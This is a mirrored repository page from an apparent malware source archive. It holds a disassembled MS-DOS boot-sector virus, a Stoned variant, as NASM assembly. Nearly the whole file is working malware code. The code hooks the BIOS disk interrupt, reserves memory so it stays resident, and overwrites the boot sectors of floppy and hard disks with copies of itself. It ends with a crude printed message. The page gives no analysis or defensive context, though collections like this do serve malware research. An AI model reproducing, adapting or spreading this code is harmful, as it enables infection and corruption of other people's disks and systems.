ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-24 20:35:25 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
c503817068
MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.stnd.asm

248 lines
5.5 KiB
NASM
Raw Normal View History

Add files via upload
2021-01-12 23:58:25 +00:00
PAGE 59,132
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><> <20><>
;<3B><> STONE <20><>
;<3B><> <20><>
;<3B><> Created: 1-Jan-80 <20><>
;<3B><> Passes: 5 Analysis Options on: none <20><>
;<3B><> <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
d_0000_004C_e equ 4Ch
d_0000_004E_e equ 4Eh
main_ram_size_ equ 413h
timer_low_ equ 46Ch
d_0000_7C00_e equ 7C00h ;*
d_0000_7C0A_e equ 7C0Ah ;*
d_0000_7C0C_e equ 7C0Ch ;*
d_0000_7C10_e equ 7C10h ;*
data_0000_e equ 0
data_0008_e equ 8
data_0009_e equ 9
data_000A_e equ 0Ah
data_000E_e equ 0Eh
data_0012_e equ 12h
data_03E0_e equ 3E0h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
stone proc far
start:
;* jmp far ptr l_07C0_0005 ;*
db 0EAh, 05h, 00h,0C0h, 07h
jmp loc_01C1
db 00h, 00h, 00h, 00h, 00h, 00h
db 04h, 01h, 00h, 00h, 00h, 7Ch
db 00h, 00h, 1Eh, 50h, 80h,0FCh
db 02h, 72h, 18h, 80h,0FCh, 04h
db 73h, 13h, 80h,0FAh, 00h, 75h
db 0Eh, 33h,0C0h, 8Eh,0D8h,0A0h
db 40h, 04h, 0Ah,0C0h, 75h, 03h
db 0E8h, 07h, 00h
db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
db 00h
db 53h, 51h, 52h, 06h, 56h, 57h
db 0BEh, 04h, 00h
loc_0145:
mov ax,201h
push cs
pop es
mov bx,200h
mov cx,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr cs:data_000A_e
jnc loc_0168 ; Jump if carry=0
xor ax,ax ; Zero register
pushf ; Push flags
call dword ptr cs:data_000A_e
dec si
jnz loc_0145 ; Jump if not zero
jmp short loc_01A5
db 90h
loc_0168:
xor si,si ; Zero register
mov di,200h
mov ax,es:[si]
cmp ax,es:[di]
jne loc_0182 ; Jump if not equal
mov ax,es:[si+2]
cmp ax,es:[di+2]
jne loc_0182 ; Jump if not equal
jmp short loc_01A5
db 90h
loc_0182:
mov ax,301h
mov bx,200h
mov cx,3
mov dx,100h
pushf ; Push flags
call dword ptr cs:data_000A_e
jc loc_01A5 ; Jump if carry Set
mov ax,301h
xor bx,bx ; Zero register
mov cl,1
xor dx,dx ; Zero register
pushf ; Push flags
call dword ptr cs:data_000A_e
loc_01A5:
pop di
pop si
pop es
pop dx
pop cx
pop bx
retn
stone endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_01AC proc near
loc_01AC:
mov al,cs:[bx]
inc bx
cmp al,0
jne loc_01B5 ; Jump if not equal
retn
loc_01B5:
push ax
push bx
mov ah,0Eh
mov bh,0
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
pop bx
pop ax
jmp short loc_01AC
sub_01AC endp
loc_01C1:
xor ax,ax ; Zero register
mov ds,ax
cli ; Disable interrupts
mov ss,ax
mov sp,7C00h
sti ; Enable interrupts
mov ax,ds:d_0000_004C_e
mov ds:d_0000_7C0A_e,ax
mov ax,ds:d_0000_004E_e
mov ds:d_0000_7C0C_e,ax
mov ax,ds:main_ram_size_
dec ax
dec ax
mov ds:main_ram_size_,ax
mov cl,6
shl ax,cl ; Shift w/zeros fill
mov es,ax
mov ds:d_0000_7C10_e,ax
mov ax,16h
mov ds:d_0000_004C_e,ax
mov ds:d_0000_004E_e,es
mov cx,1E0h
push cs
pop ds
xor si,si ; Zero register
mov di,si
cld ; Clear direction
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
jmp dword ptr cs:data_000E_e
mov ax,0
int 13h ; Disk dl=drive a ah=func 00h
; reset disk, al=return status
xor ax,ax ; Zero register
mov es,ax
mov ax,201h
mov bx,d_0000_7C00_e
cmp byte ptr cs:data_0008_e,0
je loc_0226 ; Jump if equal
mov cx,2
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jmp short loc_0266
db 90h
loc_0226:
mov cx,3
mov dx,100h
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0266 ; Jump if carry Set
test byte ptr es:timer_low_,7
jnz loc_023E ; Jump if not zero
mov bx,1B2h
call sub_01AC
loc_023E:
push cs
pop es
mov ax,201h
mov bx,200h
mov cx,1
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0266 ; Jump if carry Set
push cs
pop ds
mov si,200h
mov di,data_0000_e
mov ax,[si]
cmp ax,[di]
jne loc_0277 ; Jump if not equal
mov ax,[si+2]
cmp ax,[di+2]
jne loc_0277 ; Jump if not equal
loc_0266:
mov byte ptr cs:data_0008_e,0
mov byte ptr cs:data_0009_e,0
jmp dword ptr cs:data_0012_e
loc_0277:
mov byte ptr cs:data_0008_e,2
mov byte ptr cs:data_0009_e,0
mov ax,301h
mov bx,200h
mov cx,2
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jc loc_0266 ; Jump if carry Set
push cs
pop ds
push cs
pop es
mov si,data_03E0_e
mov di,1E0h
mov cx,0FDE0h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov ax,301h
mov bx,data_0000_e
mov cx,1
mov dx,80h
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
jmp short loc_0266
db 7
db 'I am Andrew Dice Clay!'
db 07h, 0Dh, 0Ah, 0Ah, 00h
db 'So, BLOW ME....Hey!'
seg_a ends
end start
Reference in New Issue Copy Permalink